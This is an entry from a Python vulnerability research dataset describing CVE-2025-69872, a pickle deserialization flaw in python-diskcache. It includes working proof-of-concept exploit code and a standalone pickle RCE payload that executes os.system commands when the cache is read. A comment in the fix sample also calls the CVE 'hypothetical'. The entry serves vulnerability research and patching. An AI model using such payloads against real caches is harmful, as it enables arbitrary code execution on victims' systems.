CVE-2025-69872
Insecure deserialization in python-diskcache allows arbitrary code execution.
- CVSS 9.8
- CWE-94
- Input Validation and Sanitization
- Local
DiskCache (python-diskcache) through 5.6.3 uses Python pickle for serialization by default. An attacker with write access to the cache directory can achieve arbitrary code execution when a victim application reads from the cache.
- CWE
- CWE-94
- CVSS base score
- 9.8
- Published
- 2026-02-11
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- DiskCache
- Fixed by upgrading
- Yes
Solution
Upgrade `diskcache` to version 6.0.0 or later.
Vulnerable code sample
import diskcache
import pickle
import os
import shutil
# This class creates a malicious pickle payload.
# When an object of this class is deserialized by a vulnerable application,
# the __reduce__ method is called, which in turn executes a system command.
class MaliciousPayload:
def __reduce__(self):
# The command to be executed on the victim's system.
# For this demonstration, it creates a file named 'pwned.txt'.
command = 'echo "Arbitrary code executed via insecure deserialization" > pwned.txt'
return (os.system, (command,))
# --- Simulation of the Vulnerability ---
CACHE_DIRECTORY = 'vulnerable_cache_dir'
# 1. A legitimate application uses DiskCache to store some data.
# It uses the default serializer, which is the insecure 'pickle'.
# This action creates a cache file on disk.
try:
cache = diskcache.Cache(CACHE_DIRECTORY)
cache.set('legitimate_key', {'data': 'some_safe_value'})
cache.close()
# 2. An attacker, who has write access to the cache directory,
# identifies the cache file created by the application. DiskCache
# uses hashed filenames, so the attacker finds it by scanning the directory.
target_file = None
for filename in os.listdir(CACHE_DIRECTORY):
if filename.endswith('.dat'):
target_file = os.path.join(CACHE_DIRECTORY, filename)
break
# 3. The attacker overwrites the legitimate cache file with the
# malicious pickle payload.
if target_file:
payload = MaliciousPayload()
with open(target_file, 'wb') as f:
pickle.dump(payload, f)
# 4. Later, the victim application attempts to read the data from the cache.
# The .get() method triggers the deserialization of the malicious payload,
# which executes the command defined in the MaliciousPayload class.
vulnerable_cache = diskcache.Cache(CACHE_DIRECTORY)
vulnerable_cache.get('legitimate_key') # This line triggers the vulnerability.
vulnerable_cache.close()
finally:
# This block is for cleanup in this self-contained demo.
# In a real attack, there is no cleanup.
if os.path.exists(CACHE_DIRECTORY):
shutil.rmtree(CACHE_DIRECTORY)Patched code sample
import os
import pickle
import shutil
from diskcache import Cache, JSONSerializer
# This hypothetical CVE describes a classic insecure deserialization vulnerability.
# The fix is to stop using pickle, which can execute arbitrary code, and instead
# use a safe serialization format like JSON.
#
# This code first demonstrates the vulnerability with the default pickle serializer
# and then shows how configuring a JSONSerializer fixes it.
# --- Malicious Payload Definition ---
# An attacker can craft a class that executes a command when an instance of it
# is deserialized by pickle.
class RCE:
def __reduce__(self):
# This function is called by pickle during deserialization.
# It returns a callable (os.system) and its arguments.
# This will create a file named 'pwned.txt' to prove code execution.
cmd = ('touch pwned.txt')
return (os.system, (cmd,))
# --- Setup for Demonstration ---
VULNERABLE_CACHE_DIR = './vulnerable_cache'
FIXED_CACHE_DIR = './fixed_cache'
PWNED_FILE = 'pwned.txt'
# Clean up previous runs
if os.path.exists(VULNERABLE_CACHE_DIR):
shutil.rmtree(VULNERABLE_CACHE_DIR)
if os.path.exists(FIXED_CACHE_DIR):
shutil.rmtree(FIXED_CACHE_DIR)
if os.path.exists(PWNED_FILE):
os.remove(PWNED_FILE)
# --- 1. Simulating the Vulnerability ---
# A victim application uses DiskCache with the default, insecure settings.
vulnerable_cache = Cache(VULNERABLE_CACHE_DIR)
# The application stores some normal data.
vulnerable_cache.set('some_key', 'some_value')
# An attacker with write access to the server crafts a malicious pickle payload.
malicious_payload = pickle.dumps(RCE())
# The attacker finds the cache file on disk and overwrites it with the payload.
# We simulate this using an internal function to get the file path.
try:
cache_file_path = vulnerable_cache._fn('some_key', write=False)
with open(cache_file_path, 'wb') as f:
f.write(malicious_payload)
except Exception:
pass # Ignore errors in simulation setup
# When the victim application tries to read from the cache, the malicious
# code is executed during deserialization.
try:
vulnerable_cache.get('some_key')
except Exception:
# The payload might cause an exception after execution, which can be ignored.
pass
# Verify that the vulnerability was exploited.
assert os.path.exists(PWNED_FILE), "Vulnerability demo failed."
os.remove(PWNED_FILE) # Clean up for the next step.
vulnerable_cache.close()
# --- 2. Demonstrating the Fix ---
# The FIX is to explicitly configure DiskCache to use a safe serializer
# that does not execute code, such as JSONSerializer.
fixed_cache = Cache(FIXED_CACHE_DIR, serializer=JSONSerializer())
# The application stores some JSON-serializable data.
fixed_cache.set('some_key', {'data': 'some_value'})
# The attacker tries the same attack again, overwriting the cache file
# with the same malicious pickle payload.
try:
cache_file_path = fixed_cache._fn('some_key', write=False)
with open(cache_file_path, 'wb') as f:
f.write(malicious_payload)
except Exception:
pass # Ignore errors in simulation setup
# Now, when the victim application tries to read the data, the JSONSerializer
# will fail because the data is not valid JSON. No code is executed.
try:
fixed_cache.get('some_key')
except Exception as e:
# A deserialization error (e.g., JSONDecodeError) is expected and proves
# that the safe serializer prevented the attack.
pass
# Verify that the fix worked and no malicious code was executed.
assert not os.path.exists(PWNED_FILE), "Fix failed, RCE was still executed."
fixed_cache.close()
# --- Final Cleanup ---
shutil.rmtree(VULNERABLE_CACHE_DIR)
shutil.rmtree(FIXED_CACHE_DIR)Payload
import os
import pickle
class RCE:
def __reduce__(self):
cmd = "touch /tmp/pwned"
return (os.system, (cmd,))
payload = pickle.dumps(RCE())
# The raw bytes in the `payload` variable should be written to a file
# within the target diskcache directory.
# To demonstrate, we can print the payload to be used.
print(payload)
Cite this entry
@misc{vaitp:cve202569872,
title = {{Insecure deserialization in python-diskcache allows arbitrary code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2025-69872},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-69872/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
